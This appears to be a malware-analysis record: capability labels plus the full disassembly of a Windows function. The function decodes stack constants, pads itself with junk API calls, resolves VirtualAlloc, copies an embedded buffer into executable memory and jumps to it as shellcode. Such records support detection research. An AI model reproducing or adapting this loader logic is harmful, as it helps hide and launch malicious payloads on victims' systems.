Function at 0x41e860
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Manipulate console buffer
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1b4
mov eax, dword [0x4283dc]
xor eax, esp
mov dword [esp + 0x1b0], eax
push ebx
push esi
push edi
mov dword [esp + 0x24], 0x49376417
mov dword [esp + 0x9c], 0x4f6d3a4f
mov dword [esp + 0x88], 0x1cf916dd
mov dword [esp + 0x40], 0x4b2c4100
mov dword [esp + 0xb8], 0x56fb4887
mov dword [esp + 0x20], 0x2ab22ed8
mov dword [esp + 0xc4], 0x49a5358a
mov dword [esp + 0xd4], 0x234c57ec
mov dword [esp + 0x78], 0xe14b449
mov dword [esp + 0x94], 0x1212a1f7
mov dword [esp + 0x5c], 0x1b584e52
mov dword [esp + 0x34], 0x3e909bea
mov dword [esp + 0xd8], 0x650a6963
add dword [esp + 0x24], 0x52361e43
sub dword [esp + 0x24], 0x1e57cfa5
add dword [esp + 0x24], 0x2dff8425
sub dword [esp + 0x24], 0xa128db5
sub dword [esp + 0x24], 0x4411c39e
sub dword [esp + 0x24], 0x2d3c0900
sub dword [esp + 0x24], 0x7671de55
add dword [esp + 0x24], 0x157b4c1f
sub dword [esp + 0x24], 0x32eb9454
add dword [esp + 0x9c], 0x33cee853
add dword [esp + 0x9c], 0x38399ffa
add dword [esp + 0x9c], 0x3ca29609
add dword [esp + 0x9c], 0x56a34bf3
add dword [esp + 0x88], 0x7bca9bc6
sub dword [esp + 0x24], 0x68b2522a
sub dword [esp + 0x9c], 0x4d4108dc
sub dword [esp + 0x40], 0x2119ed54
sub dword [esp + 0x20], 0x2ca96b52
add dword [esp + 0xb8], 0xaf3e25b
sub dword [esp + 0x88], 0x43847761
sub dword [esp + 0xc4], 0x1d5e491c
add dword [esp + 0xd4], 0x467fd2e8
sub dword [esp + 0x88], 0x442d607
add dword [esp + 0x9c], 0x164e24b6
sub dword [esp + 0x94], 0x5d3cb1db
add dword [esp + 0xd4], 0x2df81fa4
add dword [esp + 0xc4], 0x4f565dd1
add dword [esp + 0x20], 0x10fa4878
add dword [esp + 0x24], 0x32881614
sub dword [esp + 0x20], 0x458639d8
sub dword [esp + 0x24], 0x4e50a74d
sub dword [esp + 0xd8], 0x141c9e5f
sub dword [esp + 0x88], 0x3efa8ceb
add dword [esp + 0x78], 0x15924125
sub dword [esp + 0x94], 0x153a5771
add dword [esp + 0x94], 0x773918d4
add dword [esp + 0x34], 0x4e8ba301
sub dword [esp + 0x9c], 0x31932b9a
sub dword [esp + 0x34], 0x41e32221
add dword [esp + 0x5c], 0x6bd1e652
add dword [esp + 0x34], 0x73a9b8a7
add dword [esp + 0x40], 0x594e041c
mov dword [esp + 0x74], 0x5cb55f3b
mov dword [esp + 0x68], 0x520744ae
mov dword [esp + 0xb0], 0x66d25fd2
mov dword [esp + 0x30], 0x3eee906f
mov dword [esp + 0x28], 0x5fb5b8eb
mov dword [esp + 0xa8], 0x57482571
mov dword [esp + 0x8c], 0x7e48284d
mov dword [esp + 0xa0], 0x2a91882
mov dword [esp + 0xc8], 0x3892c883
mov dword [esp + 0x80], 0x78664d6f
mov dword [esp + 0xcc], 0x21f5f91b
mov dword [esp + 0x50], 0x349fe8d3
mov dword [esp + 0x58], 0x7b191846
mov dword [esp + 0x54], 0x4c054e6
mov dword [esp + 0xc0], 0x4441b087
mov dword [esp + 0x38], 0x51a19f63
mov dword [esp + 0x90], 0x4cfbc34
mov dword [esp + 0xd0], 0x7f167f2c
mov dword [esp + 0x60], 0x3381e20b
mov dword [esp + 0x84], 0x5e2b1ba7
mov dword [esp + 0xbc], 0x48b1ffac
mov dword [esp + 0xb4], 0x19105213
mov dword [esp + 0x4c], 0x210d9bf1
mov dword [esp + 0x7c], 0x59a3bc03
mov dword [esp + 0x6c], 0x222081bb
mov dword [esp + 0x48], 0x16220225
mov dword [esp + 0x70], 0x655d149c
mov dword [esp + 0x64], 0x2f28ba48
mov dword [esp + 0xac], 0x17d1fc85
mov dword [esp + 0xa4], 0x34189330
mov dword [esp + 0x2c], 0x3e4ece26
mov dword [esp + 0x44], 0x71667ed7
mov dword [esp + 0x3c], 0x662bcbc7
mov dword [esp + 0x98], 0x5be3e390
add dword [esp + 0xb0], 0x5435d38d
add dword [esp + 0xb0], 0x4e9b92dc
add dword [esp + 0x74], 0x18207efb
add dword [esp + 0xb0], 0x74d718d2
add dword [esp + 0x30], 0x9d7dde2
add dword [esp + 0xa8], 0x78495869
sub dword [esp + 0x8c], 0x7927e1ca
add dword [esp + 0xa8], 0x3c07659c
sub dword [esp + 0x30], 0x7200103c
add dword [esp + 0x74], 0xed1ddcf
sub dword [esp + 0x68], 0x40059850
sub dword [esp + 0x80], 0x32063923
sub dword [esp + 0xc8], 0x1b404ca1
sub dword [esp + 0xa8], 0x47f3a286
sub dword [esp + 0xa8], 0x3e9b9b4e
add dword [esp + 0x58], 0x263b4bb4
add dword [esp + 0x80], 0x5086c3e
sub dword [esp + 0x58], 0x72571349
sub dword [esp + 0x80], 0x708295ff
add dword [esp + 0x54], 0x5be6b18d
add dword [esp + 0x50], 0x4bf83254
sub dword [esp + 0xa0], 0x28c37b70
sub dword [esp + 0x8c], 0x62a44571
sub dword [esp + 0x68], 0x4eff7c69
add dword [esp + 0x54], 0x1a88009a
add dword [esp + 0xb4], 0x156ccccc
add dword [esp + 0x4c], 0x5b5dd43c
add dword [esp + 0xc8], 0x4d6fa1c
add dword [esp + 0x90], 0x6cf5f910
sub dword [esp + 0x4c], 0x49ff0c8f
add dword [esp + 0x4c], 0x4837dcae
sub dword [esp + 0xcc], 0x340e1f3
sub dword [esp + 0x7c], 0x5aa079c1
sub dword [esp + 0xa0], 0x8b94010
add dword [esp + 0xc8], 0x37292a
sub dword [esp + 0x48], 0x305b8d20
sub dword [esp + 0x54], 0x1e1ab46d
sub dword [esp + 0xc8], 0xd9343ba
sub dword [esp + 0x7c], 0x6b1871d1
sub dword [esp + 0x54], 0x76ad60ea
add dword [esp + 0xc0], 0x5a483956
add dword [esp + 0x38], 0x2fbe3202
sub dword [esp + 0x64], 0x1458c731
sub dword [esp + 0x7c], 0x5624a22b
sub dword [esp + 0x68], 0x10dddb9c
sub dword [esp + 0x84], 0x53953ed6
sub dword [esp + 0x84], 0x21641a27
sub dword [esp + 0x8c], 0x1624ab93
add dword [esp + 0x6c], 0x17be8bd8
add dword [esp + 0x28], 0x56071470
add dword [esp + 0xcc], 0x3a30534b
sub dword [esp + 0xd0], 0x262179f6
sub dword [esp + 0xb0], 0x72b5b836
sub dword [esp + 0x3c], 0x334f3fe0
add dword [esp + 0xa4], 0x12abb4ee
add dword [esp + 0x7c], 0x741e26c3
add dword [esp + 0x38], 0x6406e66e
add dword [esp + 0xc8], 0xda4fa48
add dword [esp + 0x70], 0x381cfa64
add dword [esp + 0x4c], 0xe49cc88
sub dword [esp + 0xbc], 0x49fcda0f
sub dword [esp + 0xb4], 0x3eb90891
add dword [esp + 0xc8], 0x5d75f69b
sub dword [esp + 0x6c], 0x216cf009
sub dword [esp + 0x74], 0x79c73e55
add dword [esp + 0xc8], 0x6e57bff6
sub dword [esp + 0xd0], 0x32ec2947
add dword [esp + 0x3c], 0x7c1dc2b5
sub dword [esp + 0xac], 0x447e1c18
sub dword [esp + 0x50], 0x68578b2f
sub dword [esp + 0xa0], 0x48d0b2e2
sub dword [esp + 0x2c], 0x7a30c155
add dword [esp + 0xac], 0xc5adaae
sub dword [esp + 0x54], 0x1d3e0408
add dword [esp + 0x4c], 0x7d9d800b
sub dword [esp + 0x50], 0x4b999853
sub dword [esp + 0x44], 0x26eb8bd2
sub dword [esp + 0x60], 0x70de29ca
add dword [esp + 0x38], 0x358d7a75
add dword [esp + 0x4c], 0x5aefcb8e
sub dword [esp + 0x98], 0x12a408cb
sub dword [esp + 0x60], 0x55fd77db
add dword [esp + 0x8c], 0x6de1ed4e
sub dword [esp + 0x30], 0x33c61563
add dword [esp + 0x4c], 0x294c4017
add dword [esp + 0xb4], 0x416894ec
add dword [esp + 0x54], 0x162ce970
xor edi, edi
mov dword [esp + 0x10], edi
mov dword [esp + 0x10], 0x7322
add dword [esp + 0x10], 0x932
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [esp + 0xdc]
mov dword [esp + 0x18], edi
mov byte [esp + 0x17], 1
cmp dword [esp + 0x18], 0x15bf
jle 0x41ef53
mov byte [esp + 0x17], 0
call ebx
push str.sitofijivahimadaxucohecavuli_ladoxunapibifuzidago_sosepudahemelibuze
lea ecx, [esp + 0x1a4]
call fcn.004017e0
lea ecx, [esp + 0x1a0]
call fcn.00401820
cmp dword [esp + 0x18], edi
jge 0x41ef8c
lea eax, [esp + 0x1c]
push eax
push esi
push 0x89900
push 0x71
push 0x6f699
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
lea ecx, [esp + 0x1c]
push ecx
push esi
push 0x45a200
push str.vahilipezi_paxurotocomu_pekoferidimari
push 0x298b9c0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
inc dword [esp + 0x18]
cmp byte [esp + 0x17], 0
jne 0x41ef25
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esp + 0xdc], 0x20
mov dword [esp + 0x18], edi
lea esp, [esp]
lea edx, [esp + 0xe0]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadSelectorEntry]
cmp dword [esp + 0x18], 0x25543
jle 0x41efdb
movzx eax, word [esp + 0xe0]
cmp eax, 0xf5e3204
jne 0x41f019
cmp dword [esp + 0xdc], 0x40
jae 0x41efec
inc dword [esp + 0xdc]
test edi, edi
jne 0x41f013
push str.kernel32.dll
mov dword [0x429906], 0x642e3233
mov word [0x42990a], 0x6c6c
mov byte [0x42990c], 0
call esi
mov edi, eax
inc dword [esp + 0x18]
jmp 0x41efb0
push str.febedopi_yocomujiyeze
lea ecx, [esp + 0x1a4]
call fcn.004017e0
lea ecx, [esp + 0xe8]
push ecx
call fcn.00401e30
lea edx, [esp + 0xf8]
push edx
call fcn.00404a20
lea eax, [esp + 0xf8]
push eax
call fcn.00401870
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LocalAlloc
push edi
call esi
push str.VirtualProtect
push edi
mov dword [0x42d764], eax
call esi
push str.VirtualAlloc
push edi
mov dword [0x42d754], eax
call esi
mov ecx, dword [esp + 0x10]
push 0x40
push 0x1000
push ecx
push 0
mov dword [0x42d75c], eax
call eax
lea ecx, [esp + 0xe8]
mov dword [0x42d760], eax
call fcn.00401740
lea ecx, [esp + 0x1a0]
call fcn.00401820
push 0
call dword [sym.imp.GDI32.dll_EndPath]
mov edi, dword [esp + 0x10]
mov edx, dword [0x424070]
mov esi, dword [0x4298fc]
xor eax, eax
mov dword [0x42d758], edx
test edi, edi
je 0x41f0f3
mov ecx, dword [0x42d760]
jmp 0x41f0e0
mov dl, byte [esi + eax + 0x932]
mov byte [eax + ecx], dl
mov edi, dword [esp + 0x10]
inc eax
cmp eax, edi
jb 0x41f0e0
call fcn.0041e7f0
call dword [0x42d760]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ecx + 4], 1
call esi
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
call esi
call ebx
lea eax, [esp + 0x190]
push eax
call edi
call esi
call ebx
lea ecx, [esp + 0x190]
push ecx
call edi
call esi
call ebx
lea edx, [esp + 0x190]
push edx
call edi
mov ecx, dword [esp + 0x1bc]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00405c75
mov esp, ebp
pop ebp
ret 0x10